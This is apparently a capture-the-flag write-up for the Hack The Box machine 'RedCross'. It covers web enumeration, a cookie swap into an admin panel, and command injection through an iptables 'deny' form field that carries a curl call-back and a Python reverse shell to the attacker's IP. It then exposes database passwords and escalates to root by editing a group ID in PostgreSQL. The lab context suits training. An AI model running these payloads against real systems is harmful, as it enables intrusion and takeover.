RedCross

13/04/2019

RedCross is a box which requires some web enumeration to access to the depths of its websites, there it's easy to get a shell but it's a restricted one that will get you nowhere. My way to obtain a good shell involves exploiting a command injection vulnerability and to escalate privileges modifying some registers in a database to change user permissions.


First run nmap to see we have ssh/22, http/80 and https/443 available in the RedCross.

root@kali:~/htb/redcross# nmap -sC -sV 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-13 14:44 UTC
Nmap scan report for 10.10.10.113
Host is up (0.18s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey: 
|   2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 (RSA)
|   256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 (ECDSA)
|_  256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 (ED25519)
80/tcp  open  http     Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
443/tcp open  ssl/http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
| Not valid before: 2018-06-03T19:46:58
|_Not valid after:  2021-02-27T19:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 

If we make a GET request to the Apache server in port 80, we get redirected to https://intra.redcross.htb/.

root@kali:~/htb/redcross# curl 10.10.10.113
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://intra.redcross.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 10.10.10.113 Port 80</address>
</body></html>

So let's add the route to /etc/hosts.

10.10.10.113	intra.redcross.htb

Now we can navigate to the website where we get prompted with a login panel.

Let's use wfuzz to try to discover some web content.

root@kali:~/htb/redcross# wfuzz -w /usr/share/wordlists/dirb/common.txt --hc 404,403 https://intra.redcross.htb/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: https://intra.redcross.htb/FUZZ
Total requests: 4614

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000001:  C=302      0 L	      26 W	    463 Ch	  ""
001324:  C=301      9 L	      28 W	    334 Ch	  "documentation"
001991:  C=301      9 L	      28 W	    327 Ch	  "images"
002021:  C=302      0 L	      26 W	    463 Ch	  "index.php"
002145:  C=301      9 L	      28 W	    331 Ch	  "javascript"
002844:  C=301      9 L	      28 W	    326 Ch	  "pages"

We got some directories and after running thousands of word lists against those, using dirbuster/directory-list-lowercase-2.3-small.txt we can find a pdf file under documentation.

root@kali:~/htb/redcross# wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -z list,-.pdf --hc 404,403 https://intra.redcross.htb/documentation/FUZZFUZ2Z

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: https://intra.redcross.htb/documentation/FUZZFUZ2Z
Total requests: 163286

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

087266:  C=200    259 L	    1220 W	  24694 Ch	  "account-signup - .pdf"

In this pdf we have the instructions to request access to the intranet and also the name of one of the IT dept. workers.

If we follow those steps and request credentials, we get the following message.

We are processing your request. Temporary credentials have granted for you:
guest:guest

We can access with guest/guest to the intranet where we have a view with our messages and an input to filter by UserID.

The URL structure to filter is https://intra.redcross.htb/?o=1&page=app. If we change the value of o to o=1%20or%20%271%27=%271 to try to make a sqli we get the following error.

Through the error message we can see the query used is ...'5' or dest like 'OUR INPUT') LIMIT 10. Knowing this, we can use https://intra.redcross.htb/?o=%&page=app to have or dest like '%' in the query which is always true and will return all results.

Reading the comments from other users we see they're always talking about an admin panel, so let's try to add the following route to /etc/hosts too.

10.10.10.113	admin.redcross.htb

Now we can also access to https://admin.redcross.htb and we get another login panel.

If we try to use the same credentials guest/guest we get the error Not enough privileges!, but if we replace the PHPSESSID cookie value of admin.redcross.htb for the one we have in intra.redcross.htb which is valid, we can access the IT Admin panel.

If we go to the Network Access page we get presented with an input field where we can write an IP to whitelist. And, of course, we allow our IP.

DEBUG: All checks passed... Executing iptables Network access granted to 10.10.16.35 Network access granted to 10.10.16.35

On the other page, we have a similar view where we can add users.

If we add one user, we get a random password.

Provide this credentials to the user:
manolo : NIFmPpCb
Continue

We can use that password to connect through ssh to the machine.

root@kali:~/htb/redcross# ssh manolo@10.10.10.113
manolo@10.10.10.113's password: NIFmPpCb
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ 

Unfortunately, there's almost anything here, which would let us think we're not in the right place.

$ ls -la
total 40
drwxr-xr-x 10 root root       4096 Jun  8  2018 .
drwxr-xr-x 10 root root       4096 Jun  8  2018 ..
drwxr-xr-x  2 root root       4096 Jun  8  2018 bin
drwxr-xr-x  2 root root       4096 Jun  7  2018 dev
drwxr-xr-x  3 root root       4096 Jun  8  2018 etc
drwxr-xr-x  4 root associates 4096 Jun  9  2018 home
drwxr-xr-x  3 root root       4096 Jun  8  2018 lib
drwxr-xr-x  2 root root       4096 Jun  7  2018 lib64
drwx------  2 root root       4096 Jun  7  2018 root
drwxr-xr-x  4 root root       4096 Jun  7  2018 usr

After some enumeration I didn't found anything interesting, so I came back to the website where I started inspecting all the requests and found something in the deny IP POST request.

The request has the following structure.

POST /pages/actions.php HTTP/1.1
Host: admin.redcross.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://admin.redcross.htb/?page=firewall
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Cookie: PHPSESSID=c0mdtr4jh61on93mj06o46ins5
Connection: close
Upgrade-Insecure-Requests: 1

ip=10.10.13.32&id=12&action=deny

We can change the data to try to make a command injection and run a curl to our machine.

ip=10.10.13.32;curl http://10.10.16.35/caca&id=12&action=deny

And if we were listening, we get the GET request from redcross, so it worked.

root@kali:~/htb/redcross# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.113 - - [14/Feb/2019 08:21:23] code 404, message File not found
10.10.10.113 - - [14/Feb/2019 08:21:23] "GET /caca HTTP/1.1" 404 -

Now replace curl for a reverse shell command.

ip=10.10.13.32;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.35",6969));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&id=12&action=deny

If we listen on the specified port we get a different shell from the ssh one.

root@kali:~/htb/redcross# nc -nlvp 6969
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6969
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 10.10.10.113.
Ncat: Connection from 10.10.10.113:34792.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ hostname
redcross

Upgrade the shell to a fully interactive one, because we will later need it.

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@redcross:/var/www/html/admin/pages$ 
Ctrl+z
root@kali:~/htb/redcross# stty raw -echo
root@kali:~/htb/redcross# fg
www-data@redcross:/var/www/html/admin/pages$

Now we can inspect the website code and see it uses different databases to store all the data.

www-data@redcross:/var/www/html/admin/pages$ cat actions.php
...
$dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
...
$dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
$result = pg_prepare($dbconn, "q1", "insert into passwd_table (username, passwd, gid, homedir) values ($1, $2, 1001, '/var/jail/home')");
...

We see it is setting /var/jail/home as homedir for the users we create and in that directory we have the environment we had when accessing by ssh.

www-data@redcross:/var/jail$ ls -la
total 40
drwxr-xr-x 10 root root       4096 Jun  8  2018 .
drwxr-xr-x 13 root root       4096 Jun  7  2018 ..
drwxr-xr-x  2 root root       4096 Jun  8  2018 bin
drwxr-xr-x  2 root root       4096 Jun  7  2018 dev
drwxr-xr-x  3 root root       4096 Jun  8  2018 etc
drwxr-xr-x  4 root associates 4096 Jun  9  2018 home
drwxr-xr-x  3 root root       4096 Jun  8  2018 lib
drwxr-xr-x  2 root root       4096 Jun  7  2018 lib64
drwx------  2 root root       4096 Jun  7  2018 root
drwxr-xr-x  4 root root       4096 Jun  7  2018 usr

In the code, we can also see the function that caused the command injection.

if($action==='deny'){
	header('refresh:1;url=/?page=firewall');
	$id=$_POST['id'];
	$ip=$_POST['ip'];
	$dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
	$result = pg_prepare($dbconn, "q1", "DELETE FROM ipgrants WHERE id = $1");
	$result = pg_execute($dbconn, "q1", array($id));
	echo system("/opt/iptctl/iptctl restrict ".$ip);
}

Instead of running just iptctl we make it execute different commands in that system call.

echo system("/opt/iptctl/iptctl restrict 10.10.13.32;curl http://10.10.16.35/caca");

We're going to connect to the database which stores the users using psql. That's why we need a fully interactive shell, because if not psql won't work right.

www-data@redcross:/var/www/html/admin/pages$ psql -h 127.0.0.1 -d unix -U unixusrmgr -W
Password for user unixusrmgr: dheu%7wjx8B&

psql (9.6.7)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

unix=> 

Run \dt to list all tables.

unix=> \dt
WARNING: terminal is not fully functional
            List of relations
 Schema |     Name     | Type  |  Owner   
--------+--------------+-------+----------
 public | group_table  | table | postgres
 public | passwd_table | table | postgres
 public | shadow_table | table | postgres
 public | usergroups   | table | postgres
(4 rows)

In passwd_table we have all users with their hashed passwords and their properties.

unix=> select * from passwd_table;
WARNING: terminal is not fully functional
 username  |               passwd               | uid  | gid  | gecos |    homedir     |   shell   
-----------+------------------------------------+------+------+-------+----------------+-----------
 manolo    | $1$hfJN6kKn$Qgjgd9Pjv8V4Z9TZJeLVb/ | 2031 | 1001 |       | /var/jail/home | /bin/bash
(1 row)

What we're going to do is modify the main group of our user changing the gid value from associates(1001) to sudo(27).

www-data@redcross:/var/www/html/admin/pages$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:penelope
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:penelope
floppy:x:25:penelope
tape:x:26:
sudo:x:27:
...
associates:x:1001:
...

Run the following query to change the values for our user.

unix=> update passwd_table set gid=27 where username='manolo';
UPDATE 1

Now our user is in sudoers group and should be able to run everything with sudo as a privileged user.

Wait a couple of minutes to let the changes persist, access as our user through ssh and we should get a different shell.

root@kali:~/htb/redcross# ssh manolo@10.10.10.113
manolo@10.10.10.113's password: NIFmPpCb
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Feb 14 11:49:50 2019 from 10.10.16.35
manolo@redcross:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for manolo: NIFmPpCb
Matching Defaults entries for manolo on redcross:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User manolo may run the following commands on redcross:
    (ALL : ALL) ALL

We can directly change to root with sudo su.

manolo@redcross:/$ sudo su
root@redcross:/# 

Now we can read both flags.

root@redcross:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
root@redcross:/home/penelope# cat user.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX